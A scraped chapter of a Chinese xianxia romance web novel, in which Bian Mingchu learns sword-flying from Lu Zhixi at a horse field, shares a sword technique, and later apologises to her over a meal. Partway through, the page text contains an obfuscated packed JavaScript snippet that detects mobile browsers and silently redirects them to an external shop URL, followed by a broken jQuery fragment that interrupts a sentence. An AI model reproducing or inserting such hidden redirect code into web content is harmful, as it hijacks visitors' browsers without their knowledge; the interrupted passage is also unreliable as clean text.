文趣网 > 其他小说 > 冥婚对象成了我道侣 > 49. 第 49 章
    卞明初出门时遇见枳月,只说是出门逛逛,免得让奚岚珂担心,枳月还是不放心,给了她一块腰牌,卞明初收下后就带着陆之希出府了。

    说是她带,其实出门后便成了陆之希走在前面,两人沿着街道七弯八拐后,来到卞家置办的马场。

    宽阔的场地被高墙围起,叫人看不清里边,进门后一眼望去,四周围墙都设有围廊,供人休憩。马厩在最远的西角处,场地是纯天然的,长满枯黄的杂草。一名管事小跑前来,他虽然没有见过卞明初,却认得她腰间挂着的檀木牌子。

    “两位小姐是来跑马的?容小人带二位移步去挑选马匹。”管事笑呵呵说道。

    “不用,我们自有安排,你们各自做事去吧。”卞明初淡淡吩咐道。

    管事的愣了一下,却仍是按照卞明初的话做,准备离开,陆之希却叫住了他:“老伯留步。”管事又回身毕恭毕敬地听她吩咐,陆之希道:“大小姐今日要用马场,不相干的人等就不必放进来了。”陆之希不知道这位管事是否知道卞明初的身份,用言语敲打了一番,又怕御剑术引起围观,是以多说了两句。

    管事听后眨了眨眼,当了这么多年的管事,自是明白主家的深意,行过礼应下走了。

    不一会儿,整个马场就只剩陆之希两人,卞明初这才领悟到陆之希的用意,笑了笑:“还是你考虑周到。”

    “时间紧迫,赶紧练习吧。”

    说罢,陆之希拿出莫茹萱借她的那把剑,和卞明初来到马场中央,同她讲解御剑要领。

    “掌握好这几点就行了,你试试看。”陆之希将剑递给她。

    卞明初记下陆之希方才说的要诀,接过灵剑,施以灵力,让它浮在地面半尺之上。卞明初从未有过御剑的经验,有些忐忑地看了陆之希一眼,后者见她如此,语气轻柔道:“有我在。”

    卞明初抿唇心下一横,前后脚并竖站上灵剑,双臂展开,一双眼紧盯着脚下,脸色都有些白。

    突然,一双手虚浮在她腰间,用清冽的嗓音安抚道:“放松,不要看脚下,目向前方。”

    因为站在剑上,此时的卞明初可以只能看见陆之希的发顶,两人挨得极近,陆之希衣服上的清香让她惶惶的心安定下来。她静下心,按照陆之希的指示去做,一面回想御剑要决。

    陆之希见她进入状态,指点道:“施决,试着用灵力缓慢驱动剑身。”

    卞明初抿唇,将展开的双臂缓缓放下,右手置于身前,双指作决,心中默念御剑决,皓腕轻转,脚下灵剑微微鸣动。

    倏而剑身前驱,卞明初一个后仰坠下,跌入陆之希怀里!

    卞明初下意识抓紧陆之希衣领,望向陆之希,明明自己比她大上几岁,陆之希却给她一种安稳可靠的感觉。那张皎皎如月的容颜离自己咫尺之遥,卞明初依稀能感受陆之希温热的呼吸,她心下怦然,不知是惊吓还是其他。

    “谢谢。”卞明初借力起身,别开眼讷然站好,耳尖微热。

    陆之希看着她略显慌乱的背影,不知怎的心间也是骤然加快,低声嗯了一声。

    两人一时无话,卞明初背对着陆之希,片刻后调整好心率,转过身来看向陆之希身侧的虚空:“我们继续吧。”

    “好。”

    陆之希将剑召回,分析她的不足之处:“你御剑时,要身随意动,身先动而剑后行,感受灵力波动,放松身体,把剑和你当作一个整体,就像你使用符纸那样。”

    卞明初眸色认真地听着陆之希的分析,若有所悟:“我应该明白了。”她拿过剑重新掷在半空,朝陆之希一笑,“这次肯定不会再摔了。”

    话毕,卞明初轻盈一跃,踏上剑端,摒气凝神,身心投入,掐诀运转灵力,脚下的灵剑顿时发出湛湛蓝光。陆之希下意识伸手虚护在她身后,卞明初的身形却骤然升起,又朝前飞去。

    卞明初身后青丝飞扬,衣裾翩然,在马场上方自如飞行。陆之希视线追随着她的轨迹,唇边带笑,眸色欣然。

    “我学会了。”卞明初遽然坠下,落在陆之希面前,站定的瞬间,剑已握在手中,负在身后。

    陆之希因她的动作心中一跳,已然做好了接住她的准备,这人却安然站定在自己身前,她心中呼出一气,眉色初霁,由衷替卞明初感到高兴:“依你的天赋,御剑只是小术。”

    卞明初将剑递还给她,摇头道:“若没有你在,我不会这么快就学会的。”陆之希闻言,看到卞明初认真的眸色,淡淡微笑,也不再言,径直接过灵剑。再次看见陆之希的笑颜,卞明初也不自觉笑了,倏而想到昨晚领悟的剑法,她又从陆之希手里拿回了剑。

    陆之希不解,却也松了手,只是眼带询问地看着她。卞明初却只是温柔地看着她,浅浅一笑道:“投我以桃,报之以李,之希教我御剑术,我也有剑法相赠。”

    卞明初不知道陆之希能否进入识海,所以就直接借此时机,将昨晚所学剑法展示出来。

    开阔的马场里,一蓝一白两道身影,卞明初没有使用灵力,只是单纯地向陆之希展示剑式,却也如神人之姿,招招式式颇具风骨,不似初学,剑起声落间,周身气息涤荡。

    陆之希眼中惊艳,却莫名觉得这一幕似曾相识,心中生起一股奇异的情绪,她极力撇开这些怪异之处,静心记下卞明初为她展示的剑招。

    随着最后一式击出,破风声同剑尖产生微鸣,卞明初收回灵剑,来到陆之希身前,负手而立,气定神闲道:“这就是之前我和你提前过的《寒髓决》,昨晚我修炼的时候参悟出来的。”

    陆之希薄唇轻抿,不知道该说什么,哪有人傻到把自己的机遇和他人分享的。卞明初见陆之希不说话,脸上的笑也消了下去:“怎么了?是没有记住吗?没记住也没关系,我再给你演示.....”

    “卞明初。”陆之希轻声打断她。

    “嗯?”

    “以后,不要随便把自己的机缘所得给别人看。”

    卞明初自然知道这个道理,毕竟这里可是修仙界,可她仍是想也未想地脱口道:“可你不是别人。”

    陆之希望着那双澄澈的眸子,心跳顿然失序,思绪纷纷。卞明初见陆之希怔愣的模样,突然觉得自己刚刚的话有些冒昧,虽然的确是她心中所想,可也不应该这样说出来,她有些懊恼,又怕陆之希生气,又讷讷补了一句:“我们是朋友,不是吗?”

    又是这句话,心中悄然而生的情绪被这句话完全浇灭,陆之希原本微动的眸子也重归于平静。不可否认的,她再次清晰认识到自己对卞明初生出了不该有的情感。眼前这人总是有意无意做些、说些让人错意的事和话,却又总是轻飘飘地以‘朋友’带过,徒留自己挣扎苦恼。

    陆之希眸色黯了下去,不再看卞明初,应了一声转身就走。

    接下来两日,卞明初发现陆之希又回到以往那般漠然。尤其是面对她的时候。她不知道陆之希为何突然这样,也不想做无谓的猜测,是以,这日,提着食盒来到陆之希门外,打算直接问陆之希。

    自那日过后,陆之希大部分时间都是待在自己房间,她想沉心修炼,闭上眼脑中却全是卞明初的身影。

    她好像还不知道这个卞明初长什么样子,是何年岁,陆之希本在剖析着自身情感,却在不知不觉中又想到卞明初。如果最初的好奇只是因为觉得她的出现危及到自身安全,那么现在对她的好奇更多的是出自内心的亲近探究。

    怅然之际,敲门声响起,陆之希猜到了来人是谁,偏头看了眼紧闭的房门,她现在不太想看见卞明初,却还是在静默片刻后让人进来了。

    卞明初今日着一身月白常服,谨小慎微地进了门,双手背在身后,偷偷打量着陆之希的神色,站定在陆之希身前,却不说话。

    “有事?”陆之希见她一副欲言又止的模样,善解人意地先开了口。

    可在卞明初听来就是冷淡中还多了些不耐烦,身后握着食盒的手不自觉捏紧,立时反省自己之前是不是哪里惹陆之希不快了。她眼睑低垂,眉心微微蹙起,将自己近日的所言所行都思索了一番,唯有那日在马场时一时‘失言’。

    果然,陆之希是因为她说的那些话恼了,自觉找到‘错处’的人,深吸一气,抬眸朝陆之希看去,抿了抿唇,在陆之希看似毫无情绪的眼神里开口道:“我是来道歉的。”

    陆之希眼中闪过一瞬愕然和不解,随即又别过头看向窗外冷冷道:“和你没关系。”

    卞明初还没说完,陆之希便断了她的后话,卞明初更加不解了,那陆之希为何这两日看起来心情不佳。若换了以往,卞明初可能真会就此离去,可不知道从什么时候起,她见不得陆之希郁郁的样子。

    她定了定心,兀自将身后的食盒放在小榻的案几上,不疾不徐地打开食盒,将里边的饭食一一摆好,自顾自自说出先前在心中

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611266|203416||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    打的腹稿:“这两日总不见你,马场那日,是我口不择言,唐突冒犯了你,我深感抱歉。”

    陆之希闻言眉心紧蹙,猝然回头,看向她神色不明,语气更冷了几分:“都说了,和你没关系。”

    “有关系。”卞明初在她说完几近冷厉的话后毫不退让,眉头紧锁,带着陆之希看不懂的忧愁,眸色也比往日淡了许多,薄唇轻启,重复道:“和我有关系,我不想你闷闷不乐。”

    陆之希心乱如麻,眼里的寒冰似是有了裂缝,紧抿下唇,放在案几下的手攥紧了衣摆,倏而又松开,望向桌上的佳肴,心中的郁结顿时散去不少。

    “这些,都是你做的?”

    桌上共三个菜,一荤一素一汤,品相极佳,香气上浮,放置一旁的白粥倒显得格格不入了。

    卞明初见陆之希神色稍霁,抠了抠袖袍下的手指,眼神虚浮地飘向一边,几不可闻地嗯了一声。

    陆之希狐疑地看她,卞明初正转回目光和她对上,她赶在陆之希之前开口道:“这两日你都不怎么出门,膳食也没用,这顿饭既是我为那日马场的失言道歉,也是怕你不顾自己的身体。”

    话开了头,卞明初倒是少了许多顾忌,她轻呼一气,看向陆之希的眸色柔和,“惆怅东栏雪,人生得几明。我心中不快的时候,就喜欢一个人安静地临摹书法,笔走墨行间,那颗心就渐渐沉淀下来,心绪也逐渐平息。”

    卞明初扬起陆之希熟悉的笑,眸子里彷如三月和熙春风,斟酌着措辞轻柔道:“我知道,你心里有事,却不愿意说,但是这样会闷坏的。这一个多月来,据我观察,你好像也没有什么特别的喜欢,所以便自作主张地安排了这样一顿佳肴美馔。古语有言,何以解忧,唯有杜康,可你年纪还尚小,不宜饮酒,用珍馐代替也是一样的。”

    陆之希怔怔听她说着,神色间的冷意也渐渐退却,眉心也舒展开,她喜欢听卞明初用温和清润的嗓音絮絮叨叨,喜欢她的澄明含笑的眸子,喜欢看她对自己轻柔的笑。卞明初的到来,抚平了她这两日不宁的心绪,明明看出了自己喜欢美食,却体贴地没有言明,对于卞明初这样细致的关怀,陆之希很是受用。

    心中最后的一抹不快也随着眼前的笑颜消散,陆之希终于拿起筷子用膳。

    卞明初看着陆之希即将送入口中的菜十分紧张,陆之希低垂着眉目本想专心用膳,却突然想到了什么,夹菜的手在空中顿住,侧头望向卞明初:“什么叫我年纪尚小?”难道这个卞明初居然比她大吗?

    突然的发问,让卞明初愣了一秒,随即布下一个结界,在陆之希对面坐下,嘴角多了一抹揶揄的笑:“我今年二十三了,比你大上好几岁,按理你应该叫我一声阿姊。”

    陆之希轻哼一声,权当没听见后面的话,吃起菜来,漫不经心问道:“那你原本长何模样?”

    “说来你或许不信,我和她不仅同名同姓,连相貌也是一样的,只是在这里看起来小了一点。”

    陆之希倏然记起那天这人醒来问自己要铜镜,以及问年龄的样子,倒是对上了。心中一直以来的疑惑得到解答,陆之希静心品味起卞明初准备的饭食,只是吃着吃着,怎么觉得这味道有点熟悉,像以前夫人让人去外面一家酒楼打包回来给卞明初的菜品,那时卞明初没吃,让给自己吃了。

    陆之希装作不经意抬眸,卞明初坐在自己对面腰背挺直,正一瞬不瞬地盯着她:“怎么了?不好吃吗?”枳月明明说这家酒楼是城内第一,不应该啊。

    “味道很好,只是...”卞明初随着陆之希语句的停顿呼吸也屏住了,陆之希咽下一口粥后,忍住笑意道,“我还是觉得这白粥最好吃。”

    卞明初听完心中咯噔一下,这顿饭除了白粥,菜都是酒楼买的,难道陆之希看出来了?卞明初仔细观察了一番吃菜的人,没有任何异常,才慢半拍回道:“你喜欢就好。”

    “何时出发去朝荥?”陆之希已经放下碗筷,桌上菜肴还剩大半,只有白粥被吃完了。

    卞明初右眼一跳,不再纠结:“爹已经安排好了,我们明日就出发。今年还未祭祖,再过两日就是中元节,对外就称他有伤在身,让我代替他去朝荥祭祖。”

    “这样是不是太过招摇?”陆之希对上次在韦城的事还心有余悸,“而且,还有顾若渝她们。”

    卞明初却只是笑着看她,神神秘秘道:“你今日好好休息,明日就知道了。”